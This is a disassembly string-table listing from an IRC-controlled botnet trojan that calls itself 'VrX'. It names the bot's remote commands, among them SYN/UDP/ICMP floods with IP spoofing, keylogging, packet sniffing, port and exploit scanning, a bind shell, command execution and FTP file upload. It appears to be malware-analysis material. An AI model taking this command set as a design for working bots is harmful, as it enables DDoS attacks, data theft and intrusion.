unk_42AB38	db  2Dh	; -		; DATA XREF: sub_401ACD+584Co
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFil_0	db '- Uploading file: %s to: %s',0
		align 10h
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: sub_401ACD+5835o
aSS_1		db '-s:%s',0            ; DATA XREF: sub_401ACD+581Eo
		align 10h
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_401ACD+57FBo
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 4
aAb		db 'ab',0               ; DATA XREF: sub_401ACD+57D7o
		align 4
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_401ACD+57C6o
		align 4
unk_42ABA8	db  2Dh	; -		; DATA XREF: sub_401ACD+576Do
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aFileNotFoundS_	db '- File not found: %s.',0
		align 4
aUpload		db 'upload',0           ; DATA XREF: sub_401ACD+574Ao
		align 10h
unk_42ABD0	db    3			; DATA XREF: sub_401ACD+5714o
a81Sc@nAlreadyD	db '8,1-SC@N- Already %d scanning threads. Too many specified.',0
unk_42AC0C	db  2Dh	; -		; DATA XREF: sub_401ACD+56B5o
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aFailedToStar_8	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42AC44	db  2Dh	; -		; DATA XREF: sub_401ACD+564Ao
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aSendingDPacket	db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
		align 4
unk_42AC8C	db  2Dh	; -		; DATA XREF: sub_401ACD+5599o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aMessageHasBeen	db '- Message has been sent successfuly',0
		align 10h
unk_42ACC0	db  2Dh	; -		; DATA XREF: sub_401ACD+5565o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aFailedToSendMe	db '- Failed to send message, error <%i>.',0
		align 4
unk_42ACF4	db  2Dh	; -		; DATA XREF: sub_401ACD+5541o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aNetsendDoesNot	db '- NetSend does not work on Win9x systems',0
		align 4
unk_42AD2C	db  2Dh	; -		; DATA XREF: sub_401ACD+549Fo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aSendingMessage	db '- Sending message %s times to %s using name %s',0
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: sub_401ACD+5482o
		align 10h
unk_42AD80	db  2Dh	; -		; DATA XREF: sub_401ACD+546Do
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_9	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42ADB8	db  2Dh	; -		; DATA XREF: sub_401ACD+53FEo
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aSendingDPingsT	db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
		align 10h
unk_42AE00	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406E1Do
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFlood_0	db '- Invalid flood time must be greater than 0.',0
		align 4
unk_42AE38	db  2Dh	; -		; DATA XREF: sub_401ACD+5346o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aFailedToSta_10	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42AE70	db  2Dh	; -		; DATA XREF: sub_401ACD+52CCo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aSSFloodingSSFo	db '- %s %s flooding: (%s:%s) for %s seconds.',0
		align 4
aNormal		db 'Normal',0           ; DATA XREF: sub_401ACD+52BCo
		align 4
aSpoofed	db 'Spoofed',0          ; DATA XREF: sub_401ACD+52B5o
unk_42AEB4	db  2Dh	; -		; DATA XREF: sub_401ACD+521Ao
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFloodTy	db '- Invalid flood type specified.',0
		align 10h
aRandom_0	db 'random',0           ; DATA XREF: sub_401ACD+520Ao
		align 4
aAck		db 'ack',0              ; DATA XREF: sub_401ACD+51F3o
aHcon		db 'hcon',0             ; DATA XREF: sub_401ACD+517Fo
		align 4
aHttpcon	db 'httpcon',0          ; DATA XREF: sub_401ACD+516Co
unk_42AEFC	db  2Dh	; -		; DATA XREF: sub_401ACD+511Do
		db 3, 34h, 2
		db  65h	; e
		db 6Dh,	61h, 69h
		db  6Ch	; l
		db 2, 3, 2Dh
aMessageSentToS	db ' Message sent to %s.',0
		align 10h
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: sub_401ACD+50A9o
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
aEmail		db 'email',0            ; DATA XREF: sub_401ACD+4FBEo
		align 4
aTcp		db 'tcp',0              ; DATA XREF: sub_401ACD+4FA7o
aTcpflood	db 'tcpflood',0         ; DATA XREF: sub_401ACD+4F90o
		align 4
aVncHttpHostCha	db 'VNC: HTTP Host Changed To: %s',0 ; DATA XREF: sub_401ACD+4F66o
		align 4
aVnchost	db 'vnchost',0          ; DATA XREF: sub_401ACD+4F48o
aP:					; DATA XREF: sub_401ACD+4F31o
					; ___:00438AF0o
		unicode	0, <p>,0
aPing_0		db 'ping',0             ; DATA XREF: sub_401ACD+4F1Ao
		align 4
aPingflood	db 'pingflood',0        ; DATA XREF: sub_401ACD+4F03o
		align 4
aNs		db 'ns',0               ; DATA XREF: sub_401ACD+4EECo
		align 4
aNetsend	db 'netsend',0          ; DATA XREF: sub_401ACD+4ED5o
aU:					; DATA XREF: sub_401ACD+4EBEo
					; ___:00438B00o
		unicode	0, <u>,0
aUdp		db 'udp',0              ; DATA XREF: sub_401ACD+4EA7o
aUdpflood	db 'udpflood',0         ; DATA XREF: sub_401ACD+4E90o
		align 4
aAd		db 'ad',0               ; DATA XREF: sub_401ACD+4E79o
		align 4
aAdvscan	db 'advscan',0          ; DATA XREF: sub_401ACD+4E62o
aPsc		db 'psc',0              ; DATA XREF: sub_401ACD+4E4Bo
aPortscan	db 'portscan',0         ; DATA XREF: sub_401ACD+4E34o
		align 10h
aC_a		db 'c_a',0              ; DATA XREF: sub_401ACD+4E0Eo
aC_action	db 'c_action',0         ; DATA XREF: sub_401ACD+4DF7o
		align 10h
aC_pm		db 'c_pm',0             ; DATA XREF: sub_401ACD+4DE0o
		align 4
aC_privmsg	db 'c_privmsg',0        ; DATA XREF: sub_401ACD+4DC9o
		align 4
aSc		db 'sc',0               ; DATA XREF: sub_401ACD+4DB2o
		align 4
aScan		db 'scan',0             ; DATA XREF: sub_401ACD+4D9Bo
		align 10h
aRd		db 'rd',0               ; DATA XREF: sub_401ACD+4D84o
		align 4
aRedirect	db 'redirect',0         ; DATA XREF: sub_401ACD+4D6Do
		align 10h
aNazel3		db 'NAZEL3',0           ; DATA XREF: sub_401ACD+4D3Fo
					; sub_401ACD+4D56o
		align 4
aWonk		db 'wonk',0             ; DATA XREF: sub_401ACD+4D28o
		align 10h
aPhatwonk	db 'phatwonk',0         ; DATA XREF: sub_401ACD+4D11o
		align 4
dword_42B05C	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401ACD+4D04o
aFailedToSta_11	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_42B098	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401ACD+4C95o
aFloodingSSFo_1	db '- Flooding: (%s:%s) for %s seconds.',0
aSkysyn		db 'skysyn',0           ; DATA XREF: sub_401ACD+4C12o
		align 10h
aSyn		db 'syn',0              ; DATA XREF: sub_401ACD+4BFBo
					; sub_401ACD+51DBo
aSynflood	db 'synflood',0         ; DATA XREF: sub_401ACD+4BE4o
		align 10h
unk_42B0E0	db  2Dh	; -		; DATA XREF: sub_401ACD+4BD7o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aFailedToSta_12	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
aWisdom_udp	db 'wisdom.udp',0       ; DATA XREF: sub_401ACD+4B00o
		align 4
aDdos_random	db 'ddos.random',0      ; DATA XREF: sub_401ACD+4AE9o
					; sub_413694:loc_4137C0o
aDdos_ack	db 'ddos.ack',0         ; DATA XREF: sub_401ACD+4AD2o
					; sub_413694:loc_4137A4o
		align 4
aDdos_syn	db 'ddos.syn',0         ; DATA XREF: sub_401ACD+4ABBo
					; sub_413694+F1o
		align 10h
aClone_0	db 'clone',0            ; DATA XREF: sub_401ACD+4A8Do
		align 4
aIcmp		db 'icmp',0             ; DATA XREF: sub_401ACD+4A64o
		align 10h
aIcmpflood	db 'icmpflood',0        ; DATA XREF: sub_401ACD+4A4Do
		align 4
aMv		db 'mv',0               ; DATA XREF: sub_401ACD+4A36o
		align 10h
aRename		db 'rename',0           ; DATA XREF: sub_401ACD+4A1Fo
		align 4
aFf		db 'ff',0               ; DATA XREF: sub_401ACD+4A08o
		align 4
aFindfile	db 'findfile',0         ; DATA XREF: sub_401ACD+49F1o
		align 4
aE:					; DATA XREF: sub_401ACD+49DAo
		unicode	0, <e>,0
aExecute	db 'execute',0          ; DATA XREF: sub_401ACD+49C3o
aHadeth3	db 'HADETH3',0          ; DATA XREF: sub_401ACD+4995o
					; sub_401ACD+49ACo
aDe		db 'de',0               ; DATA XREF: sub_401ACD+497Eo
		align 10h
aDelay		db 'delay',0            ; DATA XREF: sub_401ACD+4967o
		align 4
aRp		db 'rp',0               ; DATA XREF: sub_401ACD+4950o
		align 4
aRepeat		db 'repeat',0           ; DATA XREF: sub_401ACD+4939o
					; sub_401ACD+6B0Co
		align 4
aTsn		db 'tsn',0              ; DATA XREF: sub_401ACD+4922o
aTsunami	db 'tsunami',0          ; DATA XREF: sub_401ACD+490Bo
aT3		db 't3',0               ; DATA XREF: sub_401ACD+48F4o
		align 4
aTarga3		db 'targa3',0           ; DATA XREF: sub_401ACD+48DDo
		align 4
aC_p		db 'c_p',0              ; DATA XREF: sub_401ACD+48C6o
aC_part		db 'c_part',0           ; DATA XREF: sub_401ACD+48AFo
		align 4
aC_j		db 'c_j',0              ; DATA XREF: sub_401ACD+4898o
aC_join		db 'c_join',0           ; DATA XREF: sub_401ACD+4881o
		align 4
aC_n		db 'c_n',0              ; DATA XREF: sub_401ACD+486Ao
aC_nick		db 'c_nick',0           ; DATA XREF: sub_401ACD+4853o
		align 10h
aC_m		db 'c_m',0              ; DATA XREF: sub_401ACD+483Co
aC_mode		db 'c_mode',0           ; DATA XREF: sub_401ACD+4825o
		align 4
aC_r		db 'c_r',0              ; DATA XREF: sub_401ACD+480Eo
aC_raw		db 'c_raw',0            ; DATA XREF: sub_401ACD+47F7o
		align 4
aM:					; DATA XREF: sub_401ACD+47E0o
					; ___:004387C8o ...
		unicode	0, <m>,0
aCy		db 'cy',0               ; DATA XREF: sub_401ACD+47B2o
		align 10h
aCycle		db 'cycle',0            ; DATA XREF: sub_401ACD+479Bo
		align 4
aA:					; DATA XREF: sub_401ACD+4784o
		unicode	0, <a>,0
aAction		db 'action',0           ; DATA XREF: sub_401ACD+476Do
		align 4
aPrivmsg_0	db 'privmsg',0          ; DATA XREF: sub_401ACD+473Fo
aAa		db 'aa',0               ; DATA XREF: sub_401ACD+4728o
		align 10h
aAddalias	db 'addalias',0         ; DATA XREF: sub_401ACD+4711o
		align 4
aKl		db 'kl',0               ; DATA XREF: sub_401ACD+46FAo
		align 10h
aKilllog	db 'killlog',0          ; DATA XREF: sub_401ACD+46E3o
aGh		db 'gh',0               ; DATA XREF: sub_401ACD+46BAo
		align 4
aGethost	db 'gethost',0          ; DATA XREF: sub_401ACD+46A3o
unk_42B254	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406163o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aCommandUnknown	db '- Command unknown.',0
unk_42B270	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406159o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aNoMessageSpeci	db '- No message specified.',0
		align 4
aSend		db 'send',0             ; DATA XREF: sub_401ACD+465Bo
					; sub_409909+5F0o
		align 4
unk_42B29C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40611Do
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListFailed	db '- User list failed.',0
		align 4
unk_42B2BC	db  2Dh	; -		; DATA XREF: sub_401ACD+4646o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListComple	db '- User list completed.',0
unk_42B2DC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406091o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListFaile	db '- Share list failed.',0
		align 4
unk_42B2FC	db  2Dh	; -		; DATA XREF: sub_401ACD+45BAo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListCompl	db '- Share list completed.',0
		align 10h
aShare		db 'share',0            ; DATA XREF: sub_401ACD+4567o
		align 4
aContinue	db 'continue',0         ; DATA XREF: sub_401ACD+4527o
		align 4
aPause		db 'pause',0            ; DATA XREF: sub_401ACD+450Fo
		align 4
unk_42B33C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_405FB9o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListFai	db '- Service list failed.',0
unk_42B35C	db  2Dh	; -		; DATA XREF: sub_401ACD+44E2o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListCom	db '- Service list completed.',0
		align 10h
aStart		db 'start',0            ; DATA XREF: sub_401ACD+44ABo
		align 4
unk_42B388	db  2Dh	; -		; DATA XREF: sub_401ACD+4478o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aFailedToLoadAd	db '- Failed to load advapi32.dll or netapi32.dll.',0
aNet		db 'net',0              ; DATA XREF: sub_401ACD+4454o
aStop		db 'stop',0             ; DATA XREF: sub_401ACD+4426o
					; sub_401ACD+443Do ...
		align 4
aKeylog		db 'keylog',0           ; DATA XREF: sub_401ACD+440Fo
		align 4
aKeyloger	db 'keyloger',0         ; DATA XREF: sub_401ACD+43F8o
		align 10h
dword_42B3E0	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD:loc_405EB8o
aNoThreadFound_	db '- No thread found.',0
		align 10h
dword_42B400	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+43E1o
aServerStopped_	db '- Server stopped. (%d thread(s) stopped.)',0
		align 4
dword_42B438	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+43B3o
aFailedToSta_13	db '- Failed to start server, error: <%d>.',0
		align 4
dword_42B46C	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4366o
aServerRunnin_0	db '- Server running on Port: 113.',0
		align 4
dword_42B498	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4356o
aAlreadyRunning	db '- Already running.',0
		align 4
aIdent		db 'ident',0            ; DATA XREF: sub_401ACD+4325o
		align 10h
unk_42B4C0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_405DE5o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aNoVrxSnifferTh	db '- No VrX sniffer thread found.',0
unk_42B4EC	db  2Dh	; -		; DATA XREF: sub_401ACD+430Eo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVrxSnifferStop	db '- VrX sniffer stopped. (%d thread(s) stopped.)',0
unk_42B528	db  2Dh	; -		; DATA XREF: sub_401ACD+42E0o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFailedToSta_14	db '- Failed to start sniffer thread, error: <%d>.',0
unk_42B564	db  2Dh	; -		; DATA XREF: sub_401ACD+4271o
		db 3, 34h, 2
		db  53h	; S
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVrxPacketSniff	db '- VrX packet sniffer active.',0
		align 10h
unk_42B590	db  2Dh	; -		; DATA XREF: sub_401ACD+420Ao
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aAlreadyRunni_0	db '- Already running.',0
aSniffer	db 'sniffer',0          ; DATA XREF: sub_401ACD+41D5o
dword_42B5B8	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD:loc_405C95o
aNoCarnivoreThr	db '- No Carnivore thread found.',0
		align 4
dword_42B5E4	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+41BEo
aCarnivoreStopp	db '- Carnivore stopped. (%d thread(s) stopped.)',0
		align 10h
dword_42B620	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+4190o
aFailedToSta_15	db '- Failed to start sniffer thread, error: <%d>.',0
		align 4
dword_42B65C	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+4121o
aCarnivorePacke	db '- Carnivore packet sniffer active.',0
		align 4
dword_42B68C	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+40BAo
aAlreadyRunni_1	db '- Already running.',0
		align 4
aOn		db 'on',0               ; DATA XREF: sub_401ACD+409Ao
					; sub_401ACD+41EAo ...
		align 10h
aPsniff		db 'psniff',0           ; DATA XREF: sub_401ACD+4085o
		align 4
aRf		db 'rf',0               ; DATA XREF: sub_401ACD+406Eo
		align 4
aReadfile	db 'readfile',0         ; DATA XREF: sub_401ACD+4057o
		align 4
aCm		db 'cm',0               ; DATA XREF: sub_401ACD+4040o
		align 4
aCmd		db 'cmd',0              ; DATA XREF: sub_401ACD+4029o
aMirc		db 'mirc',0             ; DATA XREF: sub_401ACD+4012o
		align 4
aMirccmd	db 'mirccmd',0          ; DATA XREF: sub_401ACD+3FFBo
aV:					; DATA XREF: sub_401ACD+3FE4o
					; ___:004387BCo ...
		unicode	0, <v>,0
aVisit		db 'visit',0            ; DATA XREF: sub_401ACD+3FCDo
		align 4
aLi		db 'li',0               ; DATA XREF: sub_401ACD+3FB6o
		align 10h
aList		db 'list',0             ; DATA XREF: sub_401ACD+3F9Fo
		align 4
aGt		db 'gt',0               ; DATA XREF: sub_401ACD+3F88o
		align 4
aDel		db 'del',0              ; DATA XREF: sub_401ACD+3F5Ao
aDelete		db 'delete',0           ; DATA XREF: sub_401ACD+3F43o
					; sub_401ACD+453Fo
		align 4
aKi		db 'ki',0               ; DATA XREF: sub_401ACD+3F2Co
		align 4
aKill		db 'kill',0             ; DATA XREF: sub_401ACD+3F15o
		align 4
aKp		db 'kp',0               ; DATA XREF: sub_401ACD+3EFEo
		align 4
aKillproc	db 'killproc',0         ; DATA XREF: sub_401ACD+3EE7o
		align 4
aDn		db 'dn',0               ; DATA XREF: sub_401ACD+3ED0o
		align 4
aDns		db 'dns',0              ; DATA XREF: sub_401ACD+3EB9o
aSe		db 'se',0               ; DATA XREF: sub_401ACD+3EA2o
		align 10h
aO:					; DATA XREF: sub_401ACD+3E74o
					; ___:00438AECo
		unicode	0, <o>,0
aOpen		db 'open',0             ; DATA XREF: sub_401ACD+3E5Do
					; sub_401ACD+583Ao ...
		align 4
aPr		db 'pr',0               ; DATA XREF: sub_401ACD+3E46o
		align 10h
aPrefix		db 'prefix',0           ; DATA XREF: sub_401ACD+3E2Fo
		align 4
aC_rn		db 'c_rn',0             ; DATA XREF: sub_401ACD+3E18o
		align 10h
aC_rndnick	db 'c_rndnick',0        ; DATA XREF: sub_401ACD+3E01o
		align 4
aC_q		db 'c_q',0              ; DATA XREF: sub_401ACD+3DEAo
aC_quit		db 'c_quit',0           ; DATA XREF: sub_401ACD+3DD3o
		align 4
aKillthread	db 'killthread',0       ; DATA XREF: sub_401ACD+3DA5o
		align 4
aRaw		db 'raw',0              ; DATA XREF: sub_401ACD+3D77o
aPt		db 'pt',0               ; DATA XREF: sub_401ACD+3D60o
		align 4
aJ:					; DATA XREF: sub_401ACD+3D32o
		unicode	0, <j>,0
aN:					; DATA XREF: sub_401ACD+3D04o
					; ___:004387C4o ...
		unicode	0, <n>,0
unk_42B784	db  2Dh	; -		; DATA XREF: sub_401ACD+3CCFo
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aDisconnectingC	db '- disconnecting clones...',0
		align 4
aNickservRegist	db 'nickserv register %s %s',0 ; DATA XREF: sub_401ACD+3C66o
aRegister	db 'register',0         ; DATA XREF: sub_401ACD+3C3Do
		align 10h
aPrivmsgSS_0	db 'PRIVMSG %s :%s',0   ; DATA XREF: sub_401ACD+3BE2o
		align 10h
aMix		db 'mix',0              ; DATA XREF: sub_401ACD+3B0Do
dword_42B7E4	dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h
					; DATA XREF: sub_401ACD+3AB7o
					; sub_401ACD+3AF2o
		dd 0
dword_42B7FC	dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h
					; DATA XREF: sub_401ACD+3A7Co
		dd 1
dword_42B814	dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h
					; DATA XREF: sub_401ACD+3A41o
					; sub_401ACD+3B62o
aCtcp		db 'ctcp',0             ; DATA XREF: sub_401ACD+39ECo
		align 10h
aNoticeSS_0	db 'NOTICE %s :%s',0    ; DATA XREF: sub_401ACD+3951o
					; sub_401ACD+3991o ...
		align 10h
aNotice_0	db 'notice',0           ; DATA XREF: sub_401ACD+38F7o
		align 4
aMsg		db 'msg',0              ; DATA XREF: sub_401ACD+3802o
aChgnick	db 'chgnick',0          ; DATA XREF: sub_401ACD+37BDo
aNick_0		db 'nick',0             ; DATA XREF: sub_401ACD+36B5o
					; sub_401ACD+3CEDo
		align 4
dword_42B85C	dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h
					; DATA XREF: sub_401ACD+369Ao
		dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1
dword_42B884	dd 636364h		; DATA XREF: sub_401ACD+361Do
dword_42B888	dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: sub_401ACD+34C6o
dword_42B894	dd 4B43494Eh, 732520h	; DATA XREF: sub_401ACD+34ABo
					; sub_401ACD+3712o ...
dword_42B89C	dd 69257325h, 0		; DATA XREF: sub_401ACD+3490o
					; sub_40AAAC+4Fo ...
aPnick		db 'pnick',0            ; DATA XREF: sub_401ACD+344Fo
		align 4
aPartSS		db 'part %s %s',0       ; DATA XREF: sub_401ACD+3434o
					; sub_401ACD+3520o ...
		align 4
aPartflood	db 'partflood',0        ; DATA XREF: sub_401ACD+340Do
		align 4
aPartS		db 'part %s',0          ; DATA XREF: sub_401ACD+33F2o
aPart_0		db 'part',0             ; DATA XREF: sub_401ACD+33D0o
					; sub_401ACD+3D49o
		align 4
aJoinS		db 'join %s',0          ; DATA XREF: sub_401ACD+33B5o
					; sub_401ACD+34F4o ...
aJoin		db 'join',0             ; DATA XREF: sub_401ACD+3393o
					; sub_401ACD+3D1Bo
		align 4
aModeSS		db 'mode %s %s',0       ; DATA XREF: sub_401ACD+3378o
		align 10h
aMode		db 'mode',0             ; DATA XREF: sub_401ACD+3329o
					; sub_401ACD+47C9o
		align 4
aNoticeSS_1	db 'notice %s :%s',0    ; DATA XREF: sub_401ACD+330Eo
		align 4
aNt		db 'nt',0               ; DATA XREF: sub_401ACD+32BFo
		align 4
dword_42B90C	dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0
					; DATA XREF: sub_401ACD+32A4o
dword_42B920	dd 7463h		; DATA XREF: sub_401ACD+3255o
dword_42B924	dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: sub_401ACD+323Ao
					; sub_401ACD+385Co ...
dword_42B934	dd 5Fh			; DATA XREF: sub_401ACD+320Bo
					; sub_401ACD+3275o ...
dword_42B938	dd 6D70h		; DATA XREF: sub_401ACD+31EBo
					; sub_401ACD+4756o
unk_42B93C	db  2Dh	; -		; DATA XREF: sub_401ACD+31BBo
		db 3, 34h, 2
		db  56h	; V
		db 72h,	58h, 20h
		db  46h	; F
		db 6Ch,	2 dup(6Fh)
		db  64h	; d
		db 2, 3, 2Dh
aSClonesLoadedT	db ' %s clones loaded to %s:%s',0
		align 4
aLoad		db 'load',0             ; DATA XREF: sub_401ACD+3164o
		align 10h
aFlood		db 'flood',0            ; DATA XREF: sub_401ACD+3143o
		align 4
aRinms		db 'rinms',0            ; DATA XREF: sub_401ACD+312Co
		align 10h
aReconnect_in_m	db 'reconnect.in.ms',0  ; DATA XREF: sub_401ACD+3115o
aRin		db 'rin',0              ; DATA XREF: sub_401ACD+30FEo
aReconnect_in	db 'reconnect.in',0     ; DATA XREF: sub_401ACD+30E7o
		align 4
unk_42B9A4	db  2Dh	; -		; DATA XREF: sub_401ACD+30DAo
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFailedToStartE	db '- Failed to start exploiter thread, error: <%d>.',0
		align 4
unk_42B9E4	db  2Dh	; -		; DATA XREF: sub_401ACD+3068o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aAttemptingToCo	db '- attempting to compromise %s...',0
		align 4
aExploit	db 'exploit',0          ; DATA XREF: sub_401ACD+2FE1o
unk_42BA1C	db  2Dh	; -		; DATA XREF: sub_401ACD+2FC5o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofIpSetToS_	db ' Spoof IP set to ',27h,'%s',27h,'.',0
		align 4
unk_42BA48	db  2Dh	; -		; DATA XREF: sub_401ACD+2FA7o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSIsAnInvalidIp	db ' ',27h,'%s',27h,' is an invalid IP address.',0
aD_D_D_		db '%d.%d.%d.*',0       ; DATA XREF: sub_401ACD+2F83o
		align 4
unk_42BA88	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4049F7o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingCurren	db ' Spoofing currently set to ',27h,'%s',27h,'.',0
		align 10h
aGet		db 'get',0              ; DATA XREF: sub_401ACD:loc_4049D9o
					; sub_401ACD+3F71o
unk_42BAC4	db    3			; DATA XREF: sub_401ACD+2E9Ao
a81VrxInvalidLo	db '8,1-VrX- Invalid login slot number: %d.',0
		align 10h
unk_42BAF0	db    3			; DATA XREF: sub_401ACD+2E8Fo
a81VrxNoUserLog	db '8,1-VrX- No user logged in at slot: %d.',0
		align 4
dword_42BB1C	dd 312C3803h, 5872562Dh, 7325202Dh, 0 ;	DATA XREF: sub_401ACD+2E3Ao
unk_42BB2C	db    3			; DATA XREF: sub_401ACD:loc_4048F8o
a81VrxPoweredBy	db '8,1-VrX- Powered By VIrUs & zerX! zerX.Virus Rules! (VIrUs@Power-'
		db 'Hackers.com).',0
dword_42BB7C	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_401ACD+2E08o
aFailedToSta_16	db '- Failed to start secure thread, error: <%d>.',0
		align 4
dword_42BBB8	dd 234032Dh, 75636573h,	3026572h, 7325202Dh, 73797320h
					; DATA XREF: sub_401ACD+2D8Eo
		dd 2E6D6574h, 0
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: sub_401ACD+2D88o
		align 10h
aSecuring	db 'Securing',0         ; DATA XREF: sub_401ACD+2D81o
		align 4
unk_42BBEC	db  2Dh	; -		; DATA XREF: sub_401ACD+2D0Ao
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFailedToSta_17	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42BC2C	db  2Dh	; -		; DATA XREF: sub_401ACD+2C86o
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
